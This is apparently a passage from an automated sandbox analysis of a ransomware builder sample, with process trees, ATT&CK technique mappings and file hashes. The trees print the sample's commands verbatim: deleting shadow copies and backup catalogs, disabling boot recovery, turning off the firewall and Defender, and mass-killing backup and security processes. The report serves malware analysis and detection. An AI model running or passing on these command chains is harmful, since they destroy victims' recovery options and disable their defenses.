- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  PID:5112
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2624

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6108

C:\slam_ransomware_builder\test1.exe
"C:\slam_ransomware_builder\test1.exe"
1⤵
- Executes dropped EXE
- Modifies extensions of user files
- Checks computer location settings
- Drops desktop.ini file(s)
PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state on & netsh advfirewall set currentprofile state on & netsh advfirewall set domainprofile state on & netsh advfirewall set privateprofile state on & netsh advfirewall set publicprofile state on & REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /f & REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /f & REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /f & REG DELETE HKCU\Software\Microsoft\Windows\System\ /v DisableCMD /f & powershell -Command Remove-MpPreference -ExclusionExtension .exe
  2⤵
  PID:4912
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set currentprofile state on
    3⤵
    - Modifies Windows Firewall
    PID:3012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set domainprofile state on
    3⤵
    - Modifies Windows Firewall
    PID:460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set privateprofile state on
    3⤵
    - Modifies Windows Firewall
    PID:3948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set publicprofile state on
    3⤵
    - Modifies Windows Firewall
    PID:1380
- - C:\Windows\system32\reg.exe
    REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /f
    3⤵
    PID:2748
- - C:\Windows\system32\reg.exe
    REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /f
    3⤵
    - Modifies registry key
    PID:4744
- - C:\Windows\system32\reg.exe
    REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /f
    3⤵
    PID:2420
- - C:\Windows\system32\reg.exe
    REG DELETE HKCU\Software\Microsoft\Windows\System\ /v DisableCMD /f
    3⤵
    - Modifies registry key
    PID:4412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Remove-MpPreference -ExclusionExtension .exe
    3⤵
    PID:3508

C:\slam_ransomware_builder\test.exe
"C:\slam_ransomware_builder\test.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies extensions of user files
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5340
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state off & netsh advfirewall set currentprofile state off & netsh advfirewall set domainprofile state off & netsh advfirewall set privateprofile state off & netsh advfirewall set publicprofile state off & REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f & powershell -Command Add-MpPreference -ExclusionExtension .exe
  2⤵
  PID:1516
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:1008
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:5636
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set domainprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:4152
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set privateprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:2620
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set publicprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:3388
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3188
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3140
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Modifies registry key
    PID:5248
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension .exe
    3⤵
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM BackupExecAgentBrowser* & taskkill /F /IM BackupExecDiveciMediaService* & taskkill /F /IM BackupExecJobEngine* & taskkill /F /IM BackupExecManagementService* & taskkill /F /IM vss* & taskkill /F /IM sql* & taskkill /F /IM svc$* & taskkill /F /IM memtas* & taskkill /F /IM sophos* & taskkill /F /IM veeam* & taskkill /F /IM backup* & taskkill /F /IM GxVss* & taskkill /F /IM GxBlr* & taskkill /F /IM GxFWD* & taskkill /F /IM GxCVD* & taskkill /F /IM GxCIMgr* & taskkill /F /IM DefWatch* & taskkill /F /IM ccEvtMgr* & taskkill /F /IM SavRoam* & taskkill /F /IM RTVscan* & taskkill /F /IM QBFCService* & taskkill /F /IM Intuit.QuickBooks.FCS* & taskkill /F /IM YooBackup* & taskkill /F /IM YooIT* & taskkill /F /IM zhudongfangyu* & taskkill /F /IM sophos* & taskkill /F /IM stc_raw_agent* & taskkill /F /IM VSNAPVSS* & taskkill /F /IM QBCFMonitorService* & taskkill /F /IM VeeamTransportSvc* & taskkill /F /IM VeeamDeploymentService* & taskkill /F /IM VeeamNFSSvc* & taskkill /F /IM veeam* & taskkill /F /IM PDVFSService* & taskkill /F /IM BackupExecVSSProvider* & taskkill /F /IM BackupExecAgentAccelerator* & taskkill /F /IM BackupExecRPCService* & taskkill /F /IM AcrSch2Svc* & taskkill /F /IM AcronisAgent* & taskkill /F /IM CASAD2DWebSvc* & taskkill /F /IM CAARCUpdateSvc* & taskkill /F /IM TeamViewer*
  2⤵
  PID:5428
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentBrowser*
    3⤵
    - Kills process with taskkill
    PID:1908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecDiveciMediaService*
    3⤵
    - Kills process with taskkill
    PID:6076
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecJobEngine*
    3⤵
    - Kills process with taskkill
    PID:5184
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecManagementService*
    3⤵
    PID:1728
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM vss*
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sql*
    3⤵
    - Kills process with taskkill
    PID:1824
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM svc$*
    3⤵
    PID:2540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM memtas*
    3⤵
    - Kills process with taskkill
    PID:1552
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    PID:5040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    PID:672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM backup*
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxVss*
    3⤵
    - Kills process with taskkill
    PID:6036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxBlr*
    3⤵
    PID:956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxFWD*
    3⤵
    - Kills process with taskkill
    PID:4216
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCVD*
    3⤵
    PID:1060
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCIMgr*
    3⤵
    - Kills process with taskkill
    PID:5548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM DefWatch*
    3⤵
    - Kills process with taskkill
    PID:2088
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ccEvtMgr*
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM SavRoam*
    3⤵
    - Kills process with taskkill
    PID:3700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM RTVscan*
    3⤵
    - Kills process with taskkill
    PID:256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBFCService*
    3⤵
    - Kills process with taskkill
    PID:180
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Intuit.QuickBooks.FCS*
    3⤵
    - Kills process with taskkill
    PID:4184
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooBackup*
    3⤵
    - Kills process with taskkill
    PID:4120
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooIT*
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zhudongfangyu*
    3⤵
    - Kills process with taskkill
    PID:6116
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    PID:5000
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM stc_raw_agent*
    3⤵
    - Kills process with taskkill
    PID:680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VSNAPVSS*
    3⤵
    - Kills process with taskkill
    PID:4956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBCFMonitorService*
    3⤵
    - Kills process with taskkill
    PID:4644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamTransportSvc*
    3⤵
    - Kills process with taskkill
    PID:1672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamDeploymentService*
    3⤵
    - Kills process with taskkill
    PID:6052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamNFSSvc*
    3⤵
    - Kills process with taskkill
    PID:1284
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    - Kills process with taskkill
    PID:5352
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PDVFSService*
    3⤵
    - Kills process with taskkill
    PID:2664
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecVSSProvider*
    3⤵
    PID:700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentAccelerator*
    3⤵
    - Kills process with taskkill
    PID:5212
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecRPCService*
    3⤵
    - Kills process with taskkill
    PID:596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcrSch2Svc*
    3⤵
    - Kills process with taskkill
    PID:5028
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcronisAgent*
    3⤵
    - Kills process with taskkill
    PID:2100
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CASAD2DWebSvc*
    3⤵
    - Kills process with taskkill
    PID:5356
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CAARCUpdateSvc*
    3⤵
    - Kills process with taskkill
    PID:3844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM TeamViewer*
    3⤵
    PID:5648
- C:\Windows\SysWOW64\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\_readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2784
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  PID:4288
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:1960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\740D.tmp\start.bat

Filesize
96B

MD5
2615bf9ed6d2e854c0602ef8fdd787df

SHA1
4e0682a961ee43b9ddce5b3c03c83945d7d0cc40

SHA256
a33ee4de5292cb00e1833b85a5dc530240bb5f23ee64a56ae7fa23ae4aabc493

SHA512
24ec09d91c3d8d93c7dd595dad8eefd00de24759e039bc4dfc6967291ee54ef2a65b693b02143352a8a7c0e83b372d77389059811927b18f52472ead1332fb8c

Download Submit
C:\Users\Admin\Downloads\slam ransomware builder installer.exe

Filesize
39.2MB

MD5
6fad55df972d52436c6942e59db49e57

SHA1
21be7fc9e19a21d4754de7b047da31cea0b1b750

SHA256
80734d7000cc4822e3b6d145c7fff56c1d685d88968812ad9690273f1e8c1275

SHA512
3dfd27a79213a7c67fa0039c493eb3550793dc668fc43e32fc9b975666b0b3e7e25e7f6a4b5f8c70fcc21855c121da17e36397708c45d60480b74fe9b691b880

Download Submit
C:\Users\Admin\Downloads\slam ransomware builder installer.exe

Filesize
39.2MB

MD5
6fad55df972d52436c6942e59db49e57

SHA1
21be7fc9e19a21d4754de7b047da31cea0b1b750

SHA256
80734d7000cc4822e3b6d145c7fff56c1d685d88968812ad9690273f1e8c1275

SHA512
3dfd27a79213a7c67fa0039c493eb3550793dc668fc43e32fc9b975666b0b3e7e25e7f6a4b5f8c70fcc21855c121da17e36397708c45d60480b74fe9b691b880

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2.sln

Filesize
1KB

MD5
d9867f790d17d19dd919ba90ed1576c8

SHA1
483299a1e62f1a6593151cb7891406962f0f6f5f

SHA256
3d22c8efce70229c9fe6b4f6c7db5e6aed86b13bdfa062cb6a7dc4924b6ce2d6

SHA512
01dbe0c98d261962d7ef1bb1365a64fece3f20b1a5cead954ec0a2a79713272c51001ecd11de34fbbc53d783263e3dadb6974f933987b33cb67693df48a15f76

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\1.ico

Filesize
66KB

MD5
889e8ff9455bb4837f91ff644dcf2b82

SHA1
6bc850368a6444885e59d368ab5774cedb6792e2

SHA256
56ee941f7f4fcf1e050be3544ad73cfe7a061f288a3af4960632b0fcced94d51

SHA512
771af6b48883b408d45c952380ede6ab466efb776360af6bda5c0530332876d62b127803e4e4cef7e68dc64f829603cb939dbdc2d8cafe3d08dc954b796f2fa4

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\App.config

Filesize
189B

MD5
9dbad5517b46f41dbb0d8780b20ab87e

SHA1
ef6aef0b1ea5d01b6e088a8bf2f429773c04ba5e

SHA256
47e5a0f101af4151d7f13d2d6bfa9b847d5b5e4a98d1f4674b7c015772746cdf

SHA512
43825f5c26c54e1fc5bffcce30caad1449a28c0c9a9432e9ce17d255f8bf6057c1a1002d9471e5b654ab1de08fb6eabf96302cdb3e0fb4b63ba0ff186e903be8

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\ConsoleApp2.csproj

Filesize
3KB

MD5
10fde86ad04c13c1504c2b35b1e13d3b

SHA1
a13001bdaca14977bbb7522544f3d5f6f38ba759

SHA256
c5cd177d7580c2d3cd6445d719269478dc1f575911ac1dedfdb2dab57c1f1dcb

SHA512
81ad4bb9564bd775f8d35e2554b32e8a15894d446d885a67608fd5aaf36c1a2191f2b47623776b5941fc9de1cff5c8079433bd42814b5446393f9d6c4b138239

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Properties\AssemblyInfo.cs

Filesize
569B

MD5
6ae5c2395170e2d6d29d4f1e95e676e6

SHA1
533905ab44c6c68b58212f62202549646e23f2f6

SHA256
c12e04bcf0c4bd14dcbb50cc96416c77080ffc4bac7fb784d462ee6d6d163d6f

SHA512
492b0f4e8d4783194438f6be9d432bc008b7d72a31dbaf9aca5714e276ee13f8310408f379f165ec4ac63eb59404899c772f471a48a785ad8fd79c1cd9bfc80e

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Properties\Resources.resx

Filesize
6KB

MD5
a73549f32d077a8c19bcaafe5dc34c13

SHA1
e148e987ee299d88bdddd83107661584366536b5

SHA256
8aa81e098cfe66b5b30ebaef4aea19d22d229138ab19059f7cbd7feff04fec56

SHA512
4b009bdcba0d07965a8d0658da9cd28b5730b89731b3030cd81f74dc989fc0bf6df7141ec4935166b0516f0f1f3ec85becdc98cdeb7b6fc1d5088f8368692f56

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Resources\Newtonsoft.Json.dl

Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Resources\wallpaper.jpg.SLAM

Filesize
122KB

MD5
f83cd0592ef46ff26c4b81f3ebbeec1c

SHA1
9a99d054675e7fa659188e1057a271b4b59c6e78

SHA256
2c070169ac950517fd5e828e309fb0e27ad24cfc94dfbc2c3de5f6a9adbc8d7b

SHA512
6c3576a275fb7da04c982682999ebaed346af757e88f2b5d12cc1ecaf3bb9639a458a2e207f69d5fa04dd03272e831d1c07e0a7c46beb28c2a51ef93425b2df9

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Resources\wallpaper.jpg.SLAM

Filesize
122KB

MD5
f83cd0592ef46ff26c4b81f3ebbeec1c

SHA1
9a99d054675e7fa659188e1057a271b4b59c6e78

SHA256
2c070169ac950517fd5e828e309fb0e27ad24cfc94dfbc2c3de5f6a9adbc8d7b

SHA512
6c3576a275fb7da04c982682999ebaed346af757e88f2b5d12cc1ecaf3bb9639a458a2e207f69d5fa04dd03272e831d1c07e0a7c46beb28c2a51ef93425b2df9

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs

Filesize
214B

MD5
896ab120ac6b6af2895fdb71c452b9d3

SHA1
eb545ccd7a1bafcdf31ad0f32c09ac505744aa39

SHA256
621199557e90fb1661e401cc9a973163c850b4b7e65bbc8d100f67f6699eef70

SHA512
834f53444444cee5c348da44674a2b8e6ce51f21a7565a23629001a5c535533c78a4dff8663176d982bab24f0dd272868cfc5c2fadeccc9b97a14f6946766dee

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\ConsoleApp2.csproj.AssemblyReference.cache

Filesize
9KB

MD5
f95571aba36661a497553a04bd470ce0

SHA1
10a7917eb303c620b9bbfd549eb20dfc1516932c

SHA256
202f72d03579fbf9f65535a0299078f1e56355ac1bd82f7a49eb83429599c0ba

SHA512
758e3eddbacec89f4c6bebdeb0754cc18f414885740992187d49d47ca07f30318eaccc0a6e3d4625afe580b2877d37c9e2768af92065bcc288c0d72cc46f37b4

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\DesignTimeResolveAssemblyReferencesInput.cache

Filesize
8KB

MD5
73b6fc93329bc76c8769664f37a38713

SHA1
826735c744989d0f03d733ccbb6f1c0944be1eea

SHA256
7da3e39b3f6a792f6dc37dfb2f678b7c603ba0ba520bee73e7011b14117c1806

SHA512
a2e3884c992acace66264958e8aefc55b1d1f504fe30627881db6573a9254bce971164b83144c0ff92e11bfe1ff41ce62ad0a695f9ccaa9eb6952f27b96a2644

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\Newtonsoft.Json.dll

Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\Newtonsoft.Json.dll

Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
C:\slam_ransomware_builder\ConsoleApp2\Newtonsoft.Json.dll

Filesize
685KB

MD5
081d9558bbb7adce142da153b2d5577a

SHA1
7d0ad03fbda1c24f883116b940717e596073ae96

SHA256
b624949df8b0e3a6153fdfb730a7c6f4990b6592ee0d922e1788433d276610f3

SHA512
2fdf035661f349206f58ea1feed8805b7f9517a21f9c113e7301c69de160f184c774350a12a710046e3ff6baa37345d319b6f47fd24fbba4e042d54014bee511

Download Submit
C:\slam_ransomware_builder\FastColoredTextBox.dll

Filesize
325KB

MD5
adac0cee5cc4de7d4046ae1243e41bf0

SHA1
c8d6d92f0dbee64d0f4c0930f0d2699a8253e891

SHA256
68d0e444c0b27552d2cb86501dcb7db3fd64b82d966e9708db0408ec1ba38c79

SHA512
1d7af604540532a4121850760b1e401bb6356e59503c26f3d1fa358a105b7d88362c92f78aa4394095b165f06c484b8c2d2ed640380e85ef9b3eb087d3e7c869

Download Submit
C:\slam_ransomware_builder\FastColoredTextBox.dll

Filesize
325KB

MD5
adac0cee5cc4de7d4046ae1243e41bf0

SHA1
c8d6d92f0dbee64d0f4c0930f0d2699a8253e891

SHA256
68d0e444c0b27552d2cb86501dcb7db3fd64b82d966e9708db0408ec1ba38c79

SHA512
1d7af604540532a4121850760b1e401bb6356e59503c26f3d1fa358a105b7d88362c92f78aa4394095b165f06c484b8c2d2ed640380e85ef9b3eb087d3e7c869

Download Submit
C:\slam_ransomware_builder\FastColoredTextBox.dll

Filesize
325KB

MD5
adac0cee5cc4de7d4046ae1243e41bf0

SHA1
c8d6d92f0dbee64d0f4c0930f0d2699a8253e891

SHA256
68d0e444c0b27552d2cb86501dcb7db3fd64b82d966e9708db0408ec1ba38c79

SHA512
1d7af604540532a4121850760b1e401bb6356e59503c26f3d1fa358a105b7d88362c92f78aa4394095b165f06c484b8c2d2ed640380e85ef9b3eb087d3e7c869

Download Submit
C:\slam_ransomware_builder\Figgle.dll

Filesize
473KB

MD5
7c89d3e9baf0648fb767a70e0eacc35c

SHA1
6558308ec9d4be79b001c03030401c0e3c9701bc

SHA256
ba6a8965961f80013100f0aa804565edfec035b141cc4484a60b658a1b858dd9

SHA512
00b62dea3d4b4dd60ef307121acf1357e418b3de69b85b8ccb0f74dbb28c357a8dd410020ef325dba5c8bab8c2eac41234686a8e4fdee24063734f3f860ee7d2

Download Submit
C:\slam_ransomware_builder\Figgle.dll

Filesize
473KB

MD5
7c89d3e9baf0648fb767a70e0eacc35c

SHA1
6558308ec9d4be79b001c03030401c0e3c9701bc

SHA256
ba6a8965961f80013100f0aa804565edfec035b141cc4484a60b658a1b858dd9

SHA512
00b62dea3d4b4dd60ef307121acf1357e418b3de69b85b8ccb0f74dbb28c357a8dd410020ef325dba5c8bab8c2eac41234686a8e4fdee24063734f3f860ee7d2

Download Submit
C:\slam_ransomware_builder\Figgle.dll

Filesize
473KB

MD5
7c89d3e9baf0648fb767a70e0eacc35c

SHA1
6558308ec9d4be79b001c03030401c0e3c9701bc

SHA256
ba6a8965961f80013100f0aa804565edfec035b141cc4484a60b658a1b858dd9

SHA512
00b62dea3d4b4dd60ef307121acf1357e418b3de69b85b8ccb0f74dbb28c357a8dd410020ef325dba5c8bab8c2eac41234686a8e4fdee24063734f3f860ee7d2

Download Submit
C:\slam_ransomware_builder\MSBuild.exe

Filesize
256KB

MD5
8fdf47e0ff70c40ed3a17014aeea4232

SHA1
e6256a0159688f0560b015da4d967f41cbf8c9bd

SHA256
ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82

SHA512
bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be

Download Submit
C:\slam_ransomware_builder\MSBuild.exe

Filesize
256KB

MD5
8fdf47e0ff70c40ed3a17014aeea4232

SHA1
e6256a0159688f0560b015da4d967f41cbf8c9bd

SHA256
ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82

SHA512
bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be

Download Submit
C:\slam_ransomware_builder\fonts\big.flf

Filesize
28KB

MD5
53d797b00ba6bb56ba3c804afedabc2f

SHA1
9cccecd73d7767aef0f83ebbe8efb097cde612e2

SHA256
931beae4b5b7a6a0fff63a6a0b80a974f94bd7e723a3a506bebb45095dc384a1

SHA512
aa7d91210e653d807898fe385e018353e4602666171c77b5f2c12e7b5aaf98f62809401c0165372dd7b41a80c6f1f13df6072c245b6b2340a30215425c0c5d32

Download Submit
C:\slam_ransomware_builder\slam ransomware builder.exe

Filesize
1.6MB

MD5
d5a75093daa55db82e6cfc48d3051262

SHA1
89eecd96c2b110363d04f1953276e5775cd364bd

SHA256
bb9a9100f79080591506906717f40539ed8dfe76ecd2778d866c62d86a5ee81d

SHA512
6bd63d824e4a2a08e1f641df6137e15a859dc6742e774202b1a36e70a22741ace0b215fdcda18750bfe694fe33b3ca72a2f9353de362dbf0f2fa7155729c2775

Download Submit
C:\slam_ransomware_builder\slam.exe

Filesize
1.6MB

MD5
d5a75093daa55db82e6cfc48d3051262

SHA1
89eecd96c2b110363d04f1953276e5775cd364bd

SHA256
bb9a9100f79080591506906717f40539ed8dfe76ecd2778d866c62d86a5ee81d

SHA512
6bd63d824e4a2a08e1f641df6137e15a859dc6742e774202b1a36e70a22741ace0b215fdcda18750bfe694fe33b3ca72a2f9353de362dbf0f2fa7155729c2775

Download Submit
C:\slam_ransomware_builder\start.exe

Filesize
46KB

MD5
f7b1a64333ab633f980b702723fb7cba

SHA1
e7e04a69a84c5a9e7d0901eb00face35457a0df1

SHA256
e7bde6768de9a7a1b1028d7fa52548f8c074b7355820b7a1cb2d4c2c082512d2

SHA512
666d09200f0bc1762903fcfb748335d1fec27cf2cd9723a91d2ad870468b94236ad7c15ed453446accc415f0be5d40f006d57695204fd7fa30c676a8e6d2ecad

Download Submit
C:\slam_ransomware_builder\start.exe

Filesize
46KB

MD5
f7b1a64333ab633f980b702723fb7cba

SHA1
e7e04a69a84c5a9e7d0901eb00face35457a0df1

SHA256
e7bde6768de9a7a1b1028d7fa52548f8c074b7355820b7a1cb2d4c2c082512d2

SHA512
666d09200f0bc1762903fcfb748335d1fec27cf2cd9723a91d2ad870468b94236ad7c15ed453446accc415f0be5d40f006d57695204fd7fa30c676a8e6d2ecad

Download Submit
C:\slam_ransomware_builder\uac\ConsoleApp2\1.ico

Filesize
66KB

MD5
889e8ff9455bb4837f91ff644dcf2b82

SHA1
6bc850368a6444885e59d368ab5774cedb6792e2

SHA256
56ee941f7f4fcf1e050be3544ad73cfe7a061f288a3af4960632b0fcced94d51

SHA512
771af6b48883b408d45c952380ede6ab466efb776360af6bda5c0530332876d62b127803e4e4cef7e68dc64f829603cb939dbdc2d8cafe3d08dc954b796f2fa4

Download Submit
C:\slam_ransomware_builder\uac\ConsoleApp2\Properties\AssemblyInfo.cs

Filesize
556B

MD5
a08e9477bcf35558054417f16a5f5617

SHA1
5853ada9553643a039b1b56324f0c95226179c44

SHA256
7ef40c0cf01ec60f42ace3924716f5ccef0f5eea84bd8f9006016ddbfcdf36d2

SHA512
2f7950f9462fb26dfbd133311f2c0403929eef6c75abe416d55ca8e88dceaef15021e294c3ea683d221ae22ba7acac33c63d80d441adf28fa8ffd67a577b11b2

Download Submit
